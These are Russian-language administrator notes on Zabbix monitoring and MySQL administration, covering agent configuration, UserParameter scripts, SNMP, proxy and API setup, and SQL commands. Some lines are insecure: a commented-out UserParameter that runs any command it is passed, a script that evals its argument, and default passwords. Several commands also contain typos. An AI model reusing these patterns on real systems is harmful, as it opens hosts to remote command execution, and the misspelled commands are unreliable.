net.tcp.service[tcp,192.168.15.53,3389] - проверяем доступность порта 3389 (rdp) для хоста 192.168.15.53
То есть указывать хос\порт\протокол который мы проверяем, и одним узлом проверять множество узлов.





Триггеры

{ya.ru:net.tcp.service.perf[http].last()}=0
{server.corpX.un:icmpping[192.168.1.1].last()}=0
{server.corpX.un:net.tcp.service[tcp,192.168.15.53,3389].last()}=0

Можно настроить зависимость триггера, что бы он не срабатывал когда сработал другой триггер.
Например у нас есть два триггера. 
Один проверяет доступность интернета. 
Второй проверяет доступность сайта в интернете.
Логично будет что бы срабатывал только первый когда у нас не доступен интернет.


Так же можно вычислять среднее значение для срабатывания триггера 
{ya.ru:net.tcp.service.perf[https].avg(5m)}>0.4  

zabbix пассивное получение значений / элемент trapper

Настройка узла
--------------
Name: my item (как угодно)
Type: Zabbix trapper
Key: my.item
Allowed hosts: 127.0.0.1
---------------


zabbix_sender -z 127.0.0.1 -p 10051 -s server -k my.item -o 1

zabbix-agent минимальная конфигурация

zabbix_get -s IP/DNSNAME -p 10050 -k agent.version - тестирование подключения к zabbix-server с сервера zabbix
zabbix_agent -p - показать доступные  элементы

Zabbix-agent в обычном режиме
vim /etc/zabbix/zabbix-agentd.comf
----------------------------------
LogFile=/var/log/zabbix-agent/zabbix_agentd.log
LogFileSize=0
Server=IP_ADDRESS_SERVER_ZABBIX
#ServerActive=IP_ADDRESS_SERVER_ZABBIX 
Hostname=HOSTNAME_CLIENT_FOR_ZABBIX
Include=/etc/zabbix/zabbix_agentd.conf.d/
----------------------------------


Zabbix-agent в активном режиме
vim /etc/zabbix/zabbix-agentd.conf
!!! для этого режима требуется настраивать обнаружение (Настройка->Действия->Авто регистрация)
!!! в авто Дискавери не забудь прикрепить шаблон Zabbix agent (active), а иначе получишь неадекватные данные
----------------------------------

LogFile=/var/log/zabbix-agent/zabbix_agentd.log
LogFileSize=0
StartAgents=0          # Не слушаем сеть \ не ожидаем подключения заббикс сервера

#Server=192.168.15.246 # эта запись не нужна в активном режиме

ServerActive=192.168.15.246 # как раз этой записью сообщаем агенту что данные шлем сами

Hostname=HOSTNAME_CLIENT_FOR_ZABBIX # как наш агент будет представляется серверу заббикс

ListenIP=0.0.0.0 # не сообщаем свой IP адресс

Include=/etc/zabbix/zabbix_agentd.conf.d/

----------------------------------

Установка агента zabbix на CentOS7:

yum install -y zabbix-agent  - установка агента 
systemctl start zabbix-agent - запуск агента 
systemctl enable zabbix-agent - добавление в автозагрузку

nano /etc/zabbix/zabbix_agentd.conf - редактируем и исправляем строки
----------------------------------
StartAgents=2
Server=192.168.15.246 - ip нашего сервера zabbix
Hostname=sdv - имя клиента который подключается к zabbix
----------------------------------

service zabbix-agent stop - останавливаем агент
service zabbix-agent start - запускаем агент

Установка агента zabbix на debian:

apt update
apt upgrade
apt install zabbix-agent  - установка агента 
systemctl start zabbix-agent - запуск агента 
systemctl enable zabbix-agent - добавление в автозагрузку

nano /etc/zabbix/zabbix_agentd.conf - редактируем и исправляем строки
----------------------------------
StartAgents=2
Server=192.168.15.246 - ip нашего сервера zabbix
Hostname=sdv - имя клиента который подключается к zabbix
----------------------------------

service zabbix-agent stop - останавливаем агент
service zabbix-agent start - запускаем агент

Установка агента zabbix на windows:

0. Качаем agent zabbix для windows 
https://www.zabbix.com/download_agents#tab:34
1. Создаем папку zabbix на диске c:\

2. Распаковываем в нее 4 файла 
zabbix_agentd.exe
zabbix_agentd.win.conf
zabbix_get.exe
zabbix_sender.exe

3. редактируем файл zabbix_agentd.win.conf
------------------------------------------
Server = 192.168.15.246  - ip адрес Zabbix-севера 
Hostname = namehost - имя хоста, на который устанавливаем агент
HostnameItem = PC_NAME - имя хоста, на который устанавливаем агент
LogFile=c:\zabbix\zabbix_agentd.log - указываем место для записи логов в файл
------------------------------------------

4. Переходим в каталог на клиенте
cd c:\zabbix
5. Устанавливаем службу agent-zabbix
zabbix_agentd.exe -c c:\zabbix\zabbix_agentd.conf --install

6.Нужно создать разрешающее правило в Брандмауэре Windows.
Брандмауэр Защитника Windows – Дополнительные параметры – Правило для входящих подключений – Создать правило…

Тип правила: Для порта;
Протоколы и порты: Протокол TCP; Определенные локальные порты: 10050;
Действие: Разрешить подключение;
Профиль: Галочки Доменный, Частный, Публичный;
Имя: Zabbix Agent;

Zabbix-agent в обычном режиме + psk

== На клиенте ==
0. редактируем конфиг агента 
vim /etc/zabbix/zabbix-agentd.comf
----------------------------------
LogFile=/var/log/zabbix-agent/zabbix_agentd.log
LogFileSize=0
Server=IP_ADDRESS_SERVER_ZABBIX
Hostname=ClientZabbix
Include=/etc/zabbix/zabbix_agentd.conf.d/

TLSConnect=psk
TLSAccept=psk
##TLSAccept=unencrypted,psk
TLSPSKFile=/etc/zabbix/zabbix_agentd.psk
TLSPSKIdentity=ClientZabbix
----------------------------------

1.  Генерируем файл PSK  и распространяем его между агентами и сервером zabbix
openssl rand -hex 32 > /etc/zabbix/zabbix_agentd.psk - генерируем файл PSK 
scp /etc/zabbix/zabbix_agentd.psk server_zabbix:ClientZabbix.psk - копируем файл на server_zabbix
service zabbix-agent restart - перезапускаем агент

== На сервере ==
2. Проверяем
zabbix_get -s IP/DNSNAME -p 10050 -k agent.version - тестирование подключения к zabbix-server с сервера zabbix

zabbix_get -s ClientZabbix -p 10050 -k agent.version - проверяем без ключа
zabbix_get -s ClientZabbix -k system.sw.packages --tls-connect=psk --tls-psk-identity="ClientZabbix" --tls-psk-file=ClientZabbix.psk - тестируем с ключом 

3. В веб интерфейсе zabbix-server добавляем шифрование по PSK для узла ClientZabbix

Макросы

Макросы в zabbix, они же переменные. 
Макрос - перед макросам должен быть знак доллар ($) 
и все это заключено в фигурные скобки {}, пример:
{$SSH_PORT} 



UserParameter

Используется для написания своих ключей для zabbix-agent

vim /etc/zabbix/zabbix-agentd.comf - добавляем 
----------------------------------

#UnsafeUserParameters=1
#UserParameter=listinstalledsoft,powershell -Command Get-ChildItem HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall; powershell -Command Get-ChildItem HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
#UserParameter=lmstat[*],C:\Progra~1\PTC\flexnet\bin\lmutil lmstat -a -c $1

#UserParameter=dir[*],dir $1
#UserParameter=runcommand[*],$1

UserParameter=bbb[*],wc -l $1 | cut -d' ' -f1
----------------------------------

service zabbix-agent restart - перезапускаем агент


Проверяем:

zabbix_get -s gate -k bbb[/etc/passwd]

sudo -u zabbix zabbix_agentd -t 'bbb[/etc/passwd]'

UserParameter пример с ssl (проверяем сколько жить сертификату сайта )

0.
!!! В zabbix_agentd.conf должен быть параметр (Include=/etc/zabbix/zabbix_agentd.d/*.conf)
vim /etc/zabbix/zabbix-agentd.comf
-----------------------------------------
PidFile=/var/run/zabbix/zabbix_agentd.pid
LogFile=/var/log/zabbix/zabbix_agentd.log
LogFileSize=0
Server=127.0.0.1,85.143.162.134
ServerActive=127.0.0.1
StartAgents=2
Hostname=Zabbix Server
Timeout=10
UnsafeUserParameters=0

Include=/etc/zabbix/zabbix_agentd.d/*.conf
------------------------------------------

1. В каталоге  (/etc/zabbix/zabbix_agentd.d/) файл ssl.conf
vim /etc/zabbix/zabbix_agentd.d/ssl.conf
------------------------------------------
UserParameter=ssl.discovery[*],/etc/zabbix/scripts/sslcheck/ssl_discovery.sh
UserParameter=ssl.expire[*],/etc/zabbix/scripts/sslcheck/ssl_check.sh $1
------------------------------------------

2.  в каталоге (/etc.zabbix.scripts/sslcheck/) файлы: 
list.txt - список доменов у которых проверяем ssl

vim ssl_check.sh - скрипт который проверяет валидность сертификата сайта 
---------------------------------------------
#!/bin/sh
SERVER=$1
TIMEOUT=25
RETVAL=0
TIMESTAMP=`echo | date`
if [ -z "$2" ]
then
PORT=443;
else
PORT=$2;
fi
EXPIRE_DATE=`echo | openssl s_client -connect $SERVER:$PORT -servername $SERVER 2>/dev/null | openssl x509 -noout -dates 2>/dev/null | grep notAfter | cut -d'=' -f2`
EXPIRE_SECS=`date -d "${EXPIRE_DATE}" +%s`
EXPIRE_TIME=$(( ${EXPIRE_SECS} - `date +%s` ))
if test $EXPIRE_TIME -lt 0
then
RETVAL=0
else
RETVAL=$(( ${EXPIRE_TIME} / 24 / 3600 ))
fi

echo ${RETVAL}
------------------------------------

vim ssl_discovery.sh - файл приводит список lixt.txt для читаемости zabbix
-----------------------------
#!/bin/bash
JSON=$(for i in `cat /etc/zabbix/scripts/sslcheck/list.txt`; do printf "{\"{#SSL}\":\"$i\"},"; done | sed 's/^\(.*\).$/\1/')
printf "{\"data\":["
printf "$JSON"
printf "]}"
-----------------------------


4. Тестирование 
root@zabbix-server:~# sudo -u zabbix zabbix_agentd -t 'ssl.discovery'
ssl.discovery                                 [t|{"data":[{"{#SSL}":"XXXXX.ru"},{"{#SSL}":"XXXXX.ru"},{"{#SSL}":"XXXXX.ru"},{"{#SSL}":"XXXXX.ru"}]}]

root@zabbix-server:~#  sudo -u zabbix zabbix_agentd -t 'ssl.expire[XXXXX.ru]'
ssl.expire[XXXXX.ru]          [t|400]

curl -Is https://XXXXX.ru | head -n 1

UserParameter пример с dhcp

0. Устанавливаем пакет 
apt install dhcpd-pools - устанавливаем пакет dhcpd-pools

1. Проверяем работу программы которая нам будет показывать сколько выдано у нас адресов
dhcpd-pools -l /var/lib/dhcp/dhcpd.leases -c /etc/dhcp/dhcpd.conf - покажет сколько адресов выдано 

2. создаем скрипт dhcp_stat.sh
vim  /etc/zabbix/scripts/dhcp_stat.sh (!!! все любят складывать скрипты /usr/local/bin/)
-------------------------------
#!/bin/sh

CMD='/usr/bin/dhcpd-pools -l /var/lib/dhcp/dhcpd.leases -c /etc/dhcp/dhcpd.conf -f c | grep 192.168.8'
MAX=`eval $CMD | cut -d'"' -f8`
CUR=`eval $CMD | cut -d'"' -f10`

eval RES=\$$1

echo $RES
-------------------------------

Примеры запуска: 
# /usr/local/bin/dhcp_stat.sh MAX
# /usr/local/bin/dhcp_stat.sh CUR

3. создаем файл в каталоге (/etc/zabbix/zabbix_agentd.d/) с именем (dhcp.conf)
vim /etc/zabbix/zabbix_agentd.d/dhcp.conf
------------------------------------------
UserParameter=dhcp.stat[*],/usr/local/bin/dhcp_stat.sh $1
------------------------------------------

4. Проверка
zabbix_get -s gate -k dhcp.stat[CUR]
zabbix_get -s gate -k dhcp.stat[MAX]

sudo -u zabbix zabbix_agentd -t 'dhcp.stat[CUR]'
sudo -u zabbix zabbix_agentd -t 'dhcp.stat[MAX]'

zabbix_agentd -t / zabbix_get

apt install jq - установка пакета jq для работы с json

zabbix_agentd -t agent.version

zabbix_agentd -t net.if.discovery
zabbix_agentd -t net.if.in[eth0]
zabbix_agentd -t net.if.out[eth0]

zabbix_agentd -t vfs.fs.dicovery 
zabbix_agentd -t vfs.fs.size[/,pused]


!!! zabbix_get - устарел, ставится отдельным пакетом.
zabbix_get -s 192.168.1.10 -p 10050 -k agent.version
zabbix_get -s 192.168.1.10 -p 10050 -k system.sw.os

zabbix_get -s 192.168.1.10 -p 10050 -k system.cpu.util

zabbix_get -s 192.168.1.10 -p 10050 -k net.if.discovery
zabbix_get -s 192.168.1.10 -p 10050 -k net.if.in["eth0"]
zabbix_get -s 192.168.1.10 -p 10050 -k net.if.out["eth0"]

zabbix_get -s 192.168.1.10 -p 10050 -k vfs.fs.discovery
zabbix_get -s 192.168.1.10 -p 10050 -k vfs.fs.size[/,pused]

SNMP

!!! snmp - simple network manager protocol
!!! apt install snmp snmp-mibs-downloader - установка
!!! MIB - manager information base
!!! https://wiki.mikrotik.com/wiki/Manual:SNMP
!!! /interface> print oid
!!! 
:> /etc/snmp/snmp.conf - очистим содержимое конфига

snmpget
snmpset
sbmpwalk

snmpget -c public -v2c 10.0.0.25 .1.3.6.1.2.1.2.2.1.2.3 - получить инфу по MIB .1.3.6.1.2.1.2.2.1.2.3
snmpget -c public -v2c 10.0.0.25 iso.3.6.1.2.1.1.5.0 - получить инфу по MIB iso.3.6.1.2.1.1.5.0

snmpwalk -c public -v2c 10.0.0.25 - получить все MIB с устройства с ip 10.0.0.25


Установка и запуск zabbix proxy

0. устанавливаем
apt install snmp
apt install zabbix-proxy-mysql

1. готовим базу данных
mysql
---------------------------
#drop database zabbix_proxy;
#create database zabbix_proxy character set utf8 collate utf8_bin;
gran all privileges on zabbix_proxy.* to zabbix@localhost indentified by 'zabbix';
---------------------------

zcat /usr/share/zabbix-proxy-mysql/schema.sql.gz | mysql -uzabix -p zabbix_proxy

2. редактируем конфиг
vim /etc/zabbix/zabbix_proxy.conf
---------------------------------
Hostname=gate
ConfigFrequency=60
Server=zabbix.mynet.inc
DBName=zabbix_proxy
DBuser=zabbix
DBPassword=zabbix
--------------------------------

3. запускаем
systemctl enable zabbix-proxy
service zabbix-proxy start

zabbix api

apt install curl jq

0. получаем ключ для запросов к заббикс
curl -s -k -X POST -H 'Content-type: application/json-rpc' -d '
{
    "jsonrpc": "2.0",
    "method": "user.login",
    "params": {
        "user": "Admin",
        "password": "zabbix"
    },
    "id": 1,
} ' http://127.0.0.1/zabbix/api_jsonrpc.php

!!! тут мы получим ключ который потребуется далее
{
    "jsonrpc": "2.0",
    "result": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "id": 1
}
!!! ключ живет ровно столько сколько указано для времени активного сеанса пользователя
!!! по умолчанию 30 дней 


1. получаем список хостов из заббикс
curl -s -k -X POST -H 'Content-type: application/json-rpc' -d '
{
    "jsonrpc": "2.0",
    "method": "host.get",
    "params": {
        "output": [
            "hostid",
            "host"
        ],
        "selectInterfaces": [
            "interfaceid",
            "ip"
        ]
    },
    "id": 2,
    "auth": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
} ' http://127.0.0.1/zabbix/api_jsonrpc.php

Отключить \ выключить вход через ldap:

mysql
use zabbix;
update config set authentication_type=0;

MIB \ snmp \ snptt

apt-get install snmp-mibs-downloader
apt install snmptt

### Добавить mib
download-mibs
sed -i "s/^\(mibs *:\).*/#\1/" /etc/snmp/snmp.conf
service snmpd restart


### Пример конфига  snmptt.conf
vim  /etc/snmp/snmptt.conf
--------------------------
EVENT ELRPReport .1.3.6.1.4.1.1916.1.1.6.0.2 "Status Events" Normal
FORMAT ZBXTRAP $A $aA $3

EVENT BGPSESSCHANGE .1.3.6.1.4.1.2636.4.12.0.1 "Status Events" Normal
FORMAT ZBXTRAP $A $aA $8
--------------------------
systemctl restart  snmptt.service 

zabbix ограничение страниц в 20

zabbix ограничение страниц в 20
zabbix ограничения на количество элементов данных

Решение:
администрирование - общие параметры - gui

Отключить триггеры на интерфейсы для хоста super_host_name1, база mysql

use zabbix;
UPDATE triggers
SET status = 1
WHERE triggers.triggerid IN (
    SELECT triggers.triggerid
    FROM
 hosts,
 items,
 functions,
 triggers
    WHERE
 items.hostid = hosts.hostid
 AND
 items.itemid = functions.itemid
 AND
 functions.triggerid = triggers.triggerid
 AND
 triggers.description LIKE 'Interface % is {ITEM.VALUE1} on {HOST.NAME}'
 AND
 hosts.host = 'super_host_name1'

);

Отключить триггеры на интерфейсы для хоста super_host_name1, база postgres

UPDATE triggers
SET status = 1
WHERE triggers.triggerid IN (
    SELECT triggers.triggerid
    FROM
 public.hosts,
 public.items,
 public.functions,
 public.triggers
    WHERE
 items.hostid = hosts.hostid
 AND
 items.itemid = functions.itemid
 AND
 functions.triggerid = triggers.triggerid
 AND
 triggers.description LIKE 'Interface % is {ITEM.VALUE1} on {HOST.NAME}'
 AND
 hosts.host = 'super_host_name1'

);

ссылки:

https://www.zabbix.com/documentation/current/
https://www.zabbix.com/documentation/3.4/ru/manual/discovery/auto_registration - авто регистрация агентов
https://www.zabbix.com/documentation/4.2/ru/manual/config/items/itemtypes/zabbix_agent

https://www.zabbix.com/documentation/4.0/ru/manual/config/macros

https://www.zabbix.com/documentation/4.0/ru/manual/config/templates

https://www.zabbix.com/documentation/current/ru/manual/encryption/using_pre_shared_keys - использование шифрования

https://www.zabbix.com/documentation/current/ru/manual/api - документация zabbix Api
https://pypi.org/project/py-zabbix/  - документация zabbix Api управляем с помощью py-zabbix

https://www.zabbix.com/ru/solutions - решения на zabbix

https://share.zabbix.com/network_devices - огромная база template / шаблонов

https://wikival.bmstu.ru/doku.php?id=zabbix._мониторинг_it_инфраструктуры_предприятия
https://tradenark.com.ua/monitoring/zabbix/check-ssl-certificate-expire-date/


https://ixnfo.com/ustanovka-mib-v-ubuntu-i-reshenie-oshibki-snmp-cannot-find-module.html - MIB


карта / maps:

https://wikival.bmstu.ru/dokuwiki/doku.php?id=zabbix._%D0%BC%D0%BE%D0%BD%D0%B8%D1%82%D0%BE%D1%80%D0%B8%D0%BD%D0%B3_it_%D0%B8%D0%BD%D1%84%D1%80%D0%B0%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D1%8B_%D0%BF%D1%80%D0%B5%D0%B4%D0%BF%D1%80%D0%B8%D1%8F%D1%82%D0%B8%D1%8F_2024


Icon: Cloud(96)
Label: ISP

Host: gate.corpX.un 
Label: {HOST.CONN}
Через Ctrl выделить элементы, добавить Link и подписать его значениями трафика
Zabbix <=5

Out: {gate.corpX.un:net.if.out["eth1"].last()}
In: {gate.corpX.un:net.if.in["eth1"].last()}
Download: {server.corpX.un:speedtest.download.last()}
Upload: {server.corpX.un:speedtest.upload.last()}
Zabbix >=6

Out: {?last(/gate.corpX.un/net.if.out["eth1"])}
In: {?last(/gate.corpX.un/net.if.in["eth1"])}
Download: {?last(/server.corpX.un/speedtest.download)}
Upload: {?last(/server.corpX.un/speedtest.upload)}

Мои значения на карте:

{HOST.NAME} 
{HOST.CONN}

OUT enp1s0: {?last(/nxp-9.lab.local/net.if.out["enp1s0"])}
IN enp1s0: {?last(/nxp-9.lab.local/net.if.in["enp1s0"])}

CPU Utilization: {?last(/nxp-9.lab.local/system.cpu.util)}
Number of CPUs: {?last(/nxp-9.lab.local/system.cpu.num)}

Memory Used:  {?last(/nxp-9.lab.local/vm.memory.utilization)}
Memory Total:{?last(/nxp-9.lab.local/vm.memory.size[total])}


Used Disk: {?last(/nxp-9.lab.local/vfs.fs.dependent.size[/,used])} 
Total Disk  {?last(/nxp-9.lab.local/vfs.fs.dependent.size[/,total])}




--------------------------------------------------------------------

{HOST.NAME}
{HOST.CONN}

OUT enp1s0: {?last(/Zabbix server/net.if.out["enp1s0"])}
IN enp1s0: {?last(/Zabbix server/net.if.in["enp1s0"])}

CPU Utilization: {?last(/Zabbix server/system.cpu.util)}
Number of CPUs: {?last(/Zabbix server/system.cpu.num)}

Memory Used:  {?last(/Zabbix server/vm.memory.utilization)}
Memory Total:{?last(/Zabbix server/vm.memory.size[total])}


Used Disk: {?last(/Zabbix server/vfs.fs.dependent.size[/,used])} 
Total Disk  {?last(/Zabbix server/vfs.fs.dependent.size[/,total])}
Рубрики
sql sql - mysql - postgres Конспект

Конспект: MySQL / mysql / mariadb / tool

Ссылки:

http://www.mysql.ru/faq/

https://htmlweb.ru/php/mysql.php
https://htmlweb.ru/php/mysql_example.php
https://htmlweb.ru/php/mysql_faq.php

http://www.spravkaweb.ru/

Бэкап:

 
mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] --password=password --user=user [база] [таблицы] > backup_file
-c - формировать в виде полных INSERT. 
--all-databases - бэкап всех баз
--no-data - бэкап только структуры таблиц в базах
[таблицы] - бэкапить только указанные таблицы

mysqldump -u -p dbname > /path/to/file.sql - резервная копия
mysqldump -u root -p -f mydatabase > /home/myname/mydatabasedump.sql - бэкап

Восстановление:

mysql -u username -p dbname < /path/to/file.sql - восстановление
mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql - восстановление

Краткое введение в MySQL:

СУБД MySQL - одна из множества баз данных, поддерживаемых в PHP. 
Система MySQL распространяется бесплатно и обладает достаточной мощностью для решения реальных задач.
SQL - это аббревиатура от слов Structured Query Language, что означает структурированный язык запросов. 
Этот язык является стандартным средством для доступа к различным базам данных.
Система MySQL представляет собой сервер, к которому могут подключаться пользователи удаленных компьютеров.
Для работы с базами данных удобно пользоваться средством, входящее в комплект Web-разработчика: Denwer phpMyAdmin. 
Здесь можно создать новую базу данных, создать новую таблицу в выбранной базе данных, 
заполнить таблицу данными, а также добавлять, удалять и редактировать данные.

Основные типы данных:

INT -  Целое число
TINYINT - Маленькое целое число (-127 до 128 или от 0 до 255)
FLOAT - Вещественное число с плавающей точкой
DATE - Дата. Отображается в виде ГГГГ-ММ-ДД
TIME - Время. Отображается в виде ЧЧ:ММ:СС
DATETIME - Дата и время. Отображается в виде ГГГГ-ММ-ДДЧЧ:ММ:СС
YEAR[(2|4)] - Год. Можно определить двух- или четырех цифирный формат
CHAR(M) - Строка фиксированной длины М (M<=255)
VARCHAR(M) - Строка произвольной длины до М (M<=255)
TEXT - Длинные текстовые фрагменты (<=65535)
BLOB - Большие двоичные объекты (изображения, звуки)

Каждый столбец после своего типа данных содержит и другие спецификаторы:

NOT NULL - Все строки таблицы должны иметь значение в этом атрибуте. Если не указано, поле может быть пустым (NULL)

AUTO_INCREMENT - Специальная возможность MySQL, которую можно задействовать в числовых столбцах. 
                 Если при вставке строк в таблицу оставлять такое поле пустым, MySQL автоматически генерирует уникальное значение идентификатора. 
                 Это значение будет на единицу больше максимального значения, уже существующего в столбце. 
                 В каждой таблице может быть не больше одного такого поля. 
                 Столбцы с AUTO_INCREMENT должны быть проиндексированными

PRIMARY KEY - Столбец является первичным ключом для таблицы. 
              Данные в этом столбце должны быть уникальными. 
              MySQL автоматически индексирует этот столбец

UNSIGNED - После целочисленного типа означает, что его значение может быть либо положительным, либо нулевым

COMMENT - Название столбца таблицы

Для изменения ранее записанных в таблицу значений нужно воспользоваться командой UPDATE:

Например, цену всех книг повысили на 10%:
UPDATE books SET price = price * 1.1;

Конструкция WHERE ограничит работу UPDATE определенным строками:

Например:
UPDATE books SET price = price * 1.05 WHERE price <= 250;

Для удаления строк из базы данных используется оператор DELETE:

Ненужные строки указываются при помощи конструкции WHERE. 
Например, какие-то книги проданы:
DELETE FROM books WHERE quantity = 0;

Если нужно удалить все записи:

TRUNCATE TABLE table_name

Очистка базы данных

 
mysqldump -uuser -ppassword --add-drop-table --no-data databasename | grep ^DROP | mysql -uuser -ppassword databasename - очистка базы данных без удаления базы данных.

Бэкап:

 
mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] --password=password --user=user [база] [таблицы] > backup_file
-c - формировать в виде полных INSERT. 
--all-databases - бэкап всех баз
--no-data - бэкап только структуры таблиц в базах
[таблицы] - бэкапить только указанные таблицы

mysqldump -u -p dbname > /path/to/file.sql - резервная копия
mysqldump -u root -p -f mydatabase > /home/myname/mydatabasedump.sql - бэкап

Восстановление:

mysql -u username -p dbname < /path/to/file.sql - восстановление
mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql - восстановление

Как подготовить к работе mysql после установки? (debian, centos)

Можно воспользоваться скриптом:  
mysql_secure_installation

Подключение к бд:

mysql -uUSERNAME -pPASSWORD DBNAME - подключение к базе DBNAME используя логин:USERNAME и пароль:PASSWORD

mysql -uroot -p - подключаемся для управления mysql

Выбор базы данных:

USE db_name; - выбрать базу для работы

Перемещение по выбранной базе:

SHOW databases; - вывести список баз данных, к которым пользователь имеет доступ

SHOW tables; - вывести список таблиц, для текущей выбранной базы

DESCRIBE name_table; - посмотреть поля таблицы

!!! Для извлечения данных из таблицы служит оператор SELECT
Он извлекает данные из базы, выбирая строки, которые отвечают заданному критерию поиска. 
Оператор SELECT сопровождает немалое количество опций и вариантов использования.
Символ * означает, что необходимы все поля.

SELECT * FROM books;
SELECT * FROM tables_name; - показать содержимое таблицы tables_name;

Для получения доступа только к некоторому полю следует указать его имя в инструкции SELECT.
SELECT name_colum FROM tables_name; - вывести конкретный столбец из таблицы

Сортировать можно и по нескольким столбцам. 
SELECT author, title, price FROM books;
SELECT name_colum,name_colum2 FROM tables_name; - вывести конкретные столбцы из таблицы

Также можно ограничить вывод с помощью LIMIT
SELECT * FROM tables_name limit 5; - показать содержимое таблицы tables_name и ограничить пятью стоками;
SELECT * FROM users LIMIT 5 OFFSET 5; - посмотреть данные в таблице


Чтобы получить доступ к подмножеству строк в таблице, следует указать критерий выбора, который устанавливает конструкция WHERE:
% Соответствует любому количеству символов, даже нулевых
_ Соответствует ровно одному символу
Например, чтобы выбрать имеющиеся в наличии недорогие книги о PHP, надо составить запрос:
SELECT * FROM books WHERE
	price < 200 AND title LIKE '%PHP%' AND quantity != 0;

Для того, чтобы строки, извлеченные по запросу, перечислялись в определенном порядке, используется конструкция ORDER BY: 
По умолчанию порядок сортировки идет по возрастанию. 
Например:
SELECT * FROM books ORDER BY price;

Изменить порядок сортировки на обратный можно с помощью ключевого слова DESC:
SELECT * FROM books ORDER BY price DESC;

Вместо названий столбцов можно использовать их порядковые номера:
SELECT * FROM books ORDER BY 4, 2, 3;

Примеры создания базы данных:

Создание новой базы данных MySQL осуществляется при помощи SQL-команды CREATE DATABASE:
CREATE DATABASE IF NOT EXISTS `base` DEFAULT CHARACTER SET cp1251 COLLATE cp1251_bin


CREATE DATABASE db_name; - создать базу

CREATE DATABASE db_name CHARACTER SET utf8 COLLATE utf8_general_ci; - создать базу + установить кодировку и т.д.

Пример создания таблицы:

Создание новой таблицы осуществляется при помощи SQL-команды CREATE TABLE

CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),species VARCHAR(20), sex CHAR(1), birth DATE, death DATE); - Создать таблицу


Например, таблица books для книжного магазина будет содержать пять полей: 
ISBN, автор, название, цена и количество экземпляров:
CREATE TABLE books (ISBN CHAR(13) NOT NULL,
                    PRIMARY KEY (ISBN),
                    author VARCHAR(30),
                    title VARCHAR(60),
                    price FLOAT(4,2),
                    quantity TINYINT UNSIGNED);

Чтобы избежать сообщения об ошибке, если таблица уже есть необходимо изменить первую строчку, добавив фразу "IF NOT EXISTS":
CREATE TABLE IF NOT EXISTS books ...

Для создания авто обновляемого поля с текущей датой типа TIMESTAMP или DATETIME используйте следующую конструкцию:
CREATE TABLE t1 (
ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
dt DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

Добавление данных в эту таблицу осуществляется при помощи SQL-команды INSERT:

Например:
INSERT INTO books ( ISBN, author, title, price, quantity )
           VALUES ('5-8459-0184-7', 'Зандстра Мэт',
                   'Освой самостоятельно PHP4 за 24 часа', '129', '5');

Копирование таблиц:

INSERT INTO comercial_tests (id, place_id, keywords) SELECT id, place_id, keywords FROM commercials; - Скопировать данные из одной таблицы в другую

Права доступа и привилегии пользователя:

!!! после изменения \ добавления пользователя не забываем выполнить FLUSH PRIVILEGES;

ALL PRIVILEGES – предоставляет полный доступ к выбранной БД
CREATE – разрешает пользователям создавать новые БД
SELECT – разрешает делать выборку данных
INSERT – позволяет вносить новые записи в таблицы
UPDATE – разрешает менять ранее созданные записи в таблицах
DELETE – разрешает удалять записи из таблиц
DROP – дает возможность удалять записи в БД
GRANT OPTION – позволяет пользователю предоставлять или отзывать права других пользователей

Вот пример синтаксиса, в котором только три типа привилегий предоставляются пользователю:
GRANT SELECT, INSERT, DELETE ON database.* TO 'user'@'localhost';

Если нужно указать несколько прав, то их необходимо прописать через запятую:
GRANT [права], [права] ON *.* TO ‘user’@'localhost’;

Если нужно удалить права у выбранного пользователя:
REVOKE [права] ON [наименование БД].[ наименование таблицы] FROM ‘username’@'localhost’;

Забрать все права:
REVOKE ALL PRIVILEGES ON *.* FROM ‘user @'localhost’;

Полностью удалить пользователя можно командой:
DROP USER ‘user @'localhost’;

Изменить IP для пользователя:
rename user user_name@'10.0.0.100' to user_name@'10.0.0.200';

Создание пользователя:


CREATE USER 'user_name'@'localhost' IDENTIFIED BY 'password123'; - создать нового пользователя 
GRANT ALL PRIVILEGES ON db_name.* TO 'user_name'@'localhost'; - дать права\доступ пользователю  к соответствующей базе
flush privileges; -  перезагрузить таблицы назначения привилегий

Создание пользователя, не полные права:

CREATE USER 'USER_NAME'@'localhost' IDENTIFIED BY 'SUPER_MEGA_PASSWORD';
GRANT SELECT ON DBNAME.TABLE_NAME_1 TO 'USER_NAME'@'localhost';
GRANT SELECT ON DBNAME.TABLE_NAME_2 TO 'USER_NAME'@'localhost';
flush privileges;

Смена пароля пользователя в MySQL

Версия mysql 5.7.6 и более современная:
ALTER USER 'имя пользователя'@'localhost' IDENTIFIED BY 'New_Password';
FLUSH PRIVILEGES;

Версия 5.7.5 и древнее:
SET PASSWORD FOR 'имя пользователя'@'localhost' = PASSWORD('New_Password');
FLUSH PRIVILEGES;

Посмотреть \ Показать права доступа пользователя в MySQL:

Для того чтобы посмотреть, какие права доступа выданы пользователю MySQL, достаточно в консоли прописать команду:

SHOW GRANTS FOR 'user'@'localhost';

Посмотреть пользователей mysql можно вот так;

use mysql;
select user,password,host from user;

select * from user order by host desc;

Как запретить пользователю все операции с базой данных?

Revoke ALL PRIVILEGES on *.* from usernameS@hostname;

Как изменить забытый MySQL административный пароль?

1. перезапустить mysqld с опцией --skip-grant-tables
2. mysqladmin -h хост -u пользователь password 'новый пароль'

Очистка базы данных без удаления базы:

 
mysqldump -uuser -ppassword --add-drop-table --no-data databasename | grep ^DROP | mysql -uuser -ppassword databasename - очистка базы данных без удаления базы данных, будут удалены все таблицы.

Удалить базу:

DROP DATABASE dbname; - Удалить базу данных

Как выполнить поиск по регулярному выражению?

Вот например так
mysql> select rec_id from rec where rec_id regexp "^1[0]+$" limit 10;
+--------+
| rec_id |
+--------+
| 10     |
| 100    |
| 1000   |
+--------+
Данный запрос выведет все записи в которых ключевое поле это степень десяти. 
